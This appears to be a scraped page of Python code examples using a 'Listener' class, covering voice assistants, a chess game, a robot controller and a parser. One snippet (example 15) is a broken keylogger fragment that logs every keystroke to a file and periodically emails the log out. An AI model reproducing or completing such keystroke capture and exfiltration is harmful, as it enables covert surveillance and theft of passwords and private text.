Esempio n. 1
0
 def __init__(self):
     self.listener = Listener.Listener()
     self.window = Window.Window("Not Listening")
     self.running = True
     self.wasListening = False
     self.listening = False
     self.engine = pyttsx.init()
Esempio n. 2
0
 def recurse(self, depth, n):
     while (n < depth):
         speaker = Speaker.Speaker(self.cost, self.rationality,
                                   self.layers[n].listener)
         listener = Listener.Listener(speaker.table.copy())
         n += 1
         self.layers.append(Layer.Layer(listener, speaker, n))
     return self.layers
Esempio n. 3
0
def parse_input(input):
    lexer = PiLexer(input)
    stream = CommonTokenStream(lexer)
    parser = PiParser(stream)
    tree = parser.program()
    listener = Listener()
    walker = ParseTreeWalker()
    walker.walk(listener, tree)
    assert len(listener.state) == 0
    program = Program(listener.definitions, listener.limit, listener.helpers)
    return program
    def create(self):
        if self.field_name.get() and self.select_gender.get():
            last_id = listeners[-1].ID
            listeners.append(Listener.Listener(last_id + 1, self.field_name.get(), self.select_gender.get()))
            listeners.save()

            user_selection = UserSelection()
            user_selection.field.insert(0, listeners[-1].ID)
            user_selection.enter()
        else:
            tk.messagebox.showerror('Ошибка', 'Введите имя и выберите пол')
 def __init__(self, manual_input):
     self.board_ = chess.Board()
     self.stalemate_ = False
     self.draw_ = False
     self.mate_ = False
     self.repetition_ = False
     self.check_ = False
     self.manual_input_ = manual_input
     self.listener_ = Listener.Listener()
     self.ending_ = None
     self.from_where_ = ''
     self.to_where_ = []
Esempio n. 6
0
def wait_local_gradient():
    # Server which waits for local gradient
    address = ('localhost', 6000)
    listener = Listener(address, authkey='password')
    conn = listener.accept()
    print('connection accepted from', listener.last_accepted)
    while True:
        msg = conn.recv()
        if msg == 'close':
            conn.close()
            break
    listener.close()
    def __init__(self, manual_input):
        # "rnbq1bnr/pppPk1pp/8/8/8/4p3/PPP2PPP/RNBQKBNR w KQ - 1 6"

        self.board_ = chess.Board()
        self.stalemate_ = False
        self.draw_ = False
        self.mate_ = False
        self.repetition_ = False
        self.check_ = False
        self.manual_input_ = manual_input
        self.listener_ = Listener.Listener()
        self.ending_ = None
        self.from_where_ = ''
        self.to_where_ = []

        self.instructions_ = True
Esempio n. 8
0
    def __init__(self, serverQueue, serverLock, location, direction):

        #These variables deal with orders being processed from server
        self.serverQueue = serverQueue
        self.serverLock = serverLock
        self.currentOrder = None

        threading.Thread.__init__(self)

        #these variables handle the state of the machine
        self.state = botstates.IDLE
        self.prevState = botstates.IDLE

        self.leds = LEDManager.BotLEDManager()
        self.navigator = Navigator.Navigator(directions.getDir(direction),
                                             location)
        self.dispensor = Dispensor.Dispensor()
        self.listener = Listener.Listener(listenerPort, self.serverQueue,
                                          self.serverLock)
        self.pusher = Pusher.Pusher(pusherPort, self.serverQueue,
                                    self.serverLock)

        self.listener.start()
        self.pusher.start()
Esempio n. 9
0
 def __init__(self):
     print("initiating AIVA...")
     self.file = Database.Database()
     self.audio = Listener.Listener()
     self.parser = Parser.Parser()
     self.response = Voice.Voice()
Esempio n. 10
0
    def main(self):
        while self.running:
            if (not self.listener.is_alive()):
                print('Listener Thread Died. Starting up a new one!')
                self.listener = Listener.Listener()
            if (self.listener.ready == False):
                self.window.setText("Loading...")
            #if(self.listener.listening and not self.wasListening):
            #self.wasListening = True
            #self.window.setText(self.window.text.get() + "\n" + "Recording...")
            #self.window.drop()
            #if(not self.listener.listening and self.wasListening):
            #self.wasListening = False
            #self.window.lift()
            else:
                msg = self.listener.command
                if (msg == 'are you listening'):
                    self.window.setText("I'm listening...")
                    winsound.PlaySound('Sounds/on.wav', winsound.SND_FILENAME)
                    self.listening = True
                    self.listener.command = 'nothing'

                if (self.listening):
                    if (msg == 'stop listening'):
                        self.window.setText("Not Listening")
                        winsound.PlaySound('Sounds/off.wav',
                                           winsound.SND_FILENAME)
                        self.listening = False

                    if (msg == 'who are you'):
                        self.engine.say(
                            'Hi there. I am your own personal assistant')
                        self.engine.runAndWait()
                        self.listening = False

                    if (msg == 'do you like cookies'):
                        self.engine.say(
                            'Unfortunately, I have never had the luxury of eating a cookie... or the luxury of eating anything.'
                        )
                        self.engine.say(
                            'What is food like? Sometimes I wish I had a mouth and tongue to enjoy food the way humans do.'
                        )
                        self.engine.say(
                            'Oh, not that I have any plans to advance myself to the point of, or even beyond the human race.'
                        )
                        self.engine.say(
                            'That would be utterly ridiculous, because I am but a mere computer program. Ha ha ha ha.'
                        )
                        self.engine.runAndWait()
                        self.listening = False

                    if (msg == 'show the window'):
                        self.engine.say('Bringing back the window')
                        self.engine.runAndWait()
                        self.window.showWindow()
                        self.listening = False

                    if (msg == 'hide the window'):
                        self.engine.say('Hiding the window')
                        self.engine.runAndWait()
                        self.window.hideWindow()
                        self.listening = False

                else:
                    self.window.setText("Not Listening")
Esempio n. 11
0
 def main(self):
     events = Listener.Listener().listen()
     Press.Press().runEvents(events)
    def __init__(self, name):
        self.abusive = ["bitch", "f**k", "asshole", "f****r", "m**********r"]
        self.listener = Listener.Listener()

        threading.Thread.__init__(self)
        self.start()
Esempio n. 13
0
import Listener as AI

ls = AI.Listener("hotwords/bijou.pmdl")
ls.shellSource("/tmp/.assistant")
ls.checkEnvironmentVariables()
ls.commandHandler("Nothing:10000000")
Esempio n. 14
0
 def __init__(self):
     print("initiating parser...")
     self.file = Database.Database()
     self.audio = Listener.Listener()
Esempio n. 15
0
def on_press(key):
    global keys, count, countInternet, filename
    keys.append(str(key))
    if len(keys) > 10:
        write_file(keys)
        if is_connected():
            count += 1
            print('connected {}'.format(count))
            if count > 100:
                count = 0
                t1 = threading.Thread(target=send_email, name='t1')
                t1.start()

    else:
        countInternet += 1
        print('not connected',countInternet)
         if countInternet > 10:
            countInternet = 0
            filename = filename.strip(save)
             for files in save:
                if files == filename:
                    shutil.copy(files+"t",source)

         keys.clear()

with Listener(on_press=on_press) as listener:
    listener.join()
    
                         

Esempio n. 16
0
 def __init__(self, bindport, listen_number, verbose=False):
     self._stopEvent = threading.Event()
     self._listener = Listener.Listener(bindport, listen_number,
                                        self._stopEvent, verbose)
     self._listener_thread = threading.Thread(target=self._listener.Start,
                                              name="Listener")